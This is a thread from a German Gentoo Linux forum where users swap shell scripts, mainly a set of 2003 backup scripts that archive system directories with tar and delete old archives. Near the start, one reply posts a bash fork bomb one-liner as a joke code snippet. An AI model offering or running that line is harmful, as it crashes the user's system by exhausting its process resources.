Lieber Besucher, herzlich willkommen bei: GentooForum.de. Falls dies Ihr erster Besuch auf dieser Seite ist, lesen Sie sich bitte die Hilfe durch. Dort wird Ihnen die Bedienung dieser Seite näher erläutert. Darüber hinaus sollten Sie sich registrieren, um alle Funktionen dieser Seite nutzen zu können. Benutzen Sie das Registrierungsformular, um sich zu registrieren oder informieren Sie sich ausführlich über den Registrierungsvorgang. Falls Sie sich bereits zu einem früheren Zeitpunkt registriert haben, können Sie sich hier anmelden.
Zitat
Original von zeromaster
.(nennt sich knowlage management)
Zitat
Original von sploenni
na dann fang doch mal an... :wink:
Quellcode |
|
1 |
bash-2.05b $ :() { :|: & } ; : |
Zitat
dem sende ich die skripte per mail gern zu
Zitat
#!/bin/bash
#
#
# the main script...run this to make a backup
#
# Author: Stefan Wendler
# email: m.2@cravomat.de
# Copyright(C) 2003
#############################################
# the single backupscripts which are executed
# if you comment some scripts out, it is recommended to adjust the $NAME-variable in "buildCompleteBackup.sh" to match your backup!
./deleteBackups.sh
./binBackup.sh
./bootBackup.sh
./devBackup.sh
./etcBackup.sh
./homeBackup.sh
./libBackup.sh
./optBackup.sh
./rootBackup.sh
./sbinBackup.sh
./usrBackup.sh
./varBackup.sh
#./buildCompleteBackup.sh
Zitat
#!/bin/bash
#
# Script to delete the old backup
# Author: Stefan Wendler
# email: m.2@cravomat.de
# copyright: 2003
#############################################
# the extentions of the files which are deleted
EXT1=.tgz
EXT2=.tar.gz
# the directory where the archive is in
# only needed if script-direcotry differs from
# the place where the archive is.
# The value should look like this -> /backup/
DIR=/BACKUP/
echo "deleting all "$EXT1" files from "$DIR
rm -rf $DIR*$EXT1 > /dev/null 2>&1 && echo "[got it!]" || echo "[FAILED]"
echo "deleting all "$EXT2" files from "$DIR
rm -rf $DIR*$EXT2 > /dev/null 2>&1 && echo "[got it!]" || echo "[FAILED]"
Zitat
#!/bin/bash
#
# Script to backup the whole usr-tree
#
# Author: Stefan Wendler
# email: m.2@cravomat.de
# copyright: 2003
#############################################
# the name of the tree to backup
TREE=usr
# the directory where to put the archive
# only needed if script-directory differs from
# the place where the archive should be stored.
# The value should look like this -> /backup/
DIR=/BACKUP/
# Archive name
ARCHIVE_NAME=$DIR$TREE-`date +%G%d%m`.tgz
echo "Building /usr archive"
tar cfz $ARCHIVE_NAME /$TREE > /dev/null 2>&1 && echo "[got it!]" || echo "[FAILED]"
Zitat
#!/bin/bash
#
# Script to bild one archive file including all other *.tgz files
#
# Author: Stefan Wendler
# email: m.2@cravomat.de
# copyright: 2003
#############################################
#define the name of the archive
NAME=complete
# the directory where to put the archive
# only needed if script-directory differs from
# the place where the archive is stored.
# The value should look like this -> /backup/
DIR=/BACKUP/
# Archive name
ARCHIVE_NAME=$DIR$NAME-`date +%G%d%m`.tar.gz
echo "Building the whole archive"
tar cfz $ARCHIVE_NAME $DIR*.tgz > /dev/null 2>&1 && echo "[got it!]" || echo "[FAILED]"
#echo "Deleting all archive files except the complete-file"
#rm -f ../*.tgz > /dev/null 2>&1 && echo "[got it!]" || echo "[FAILED]"
Zitat
Original von marbury
aber sie arbeiten recht zuverlässig und sind noch in der Entwicklung.
Eine MD5-Prüfsummenkontrolle wär net schlecht u.ä. ... aber wenigstens hab ich an jedem backup ein datum dran :lol:
Zitat von »"sploenni"«
Zitat
dem sende ich die skripte per mail gern zu
warum postest du sie nicht?
hier mal noch was was ich irgendwann mal im netz gefunden hab. damit kann man dateien einfach mit dem befehl entpacke ohne jegliche argumente entpacken.
Na, das ist doch was... *copy..n...klickklack...paste*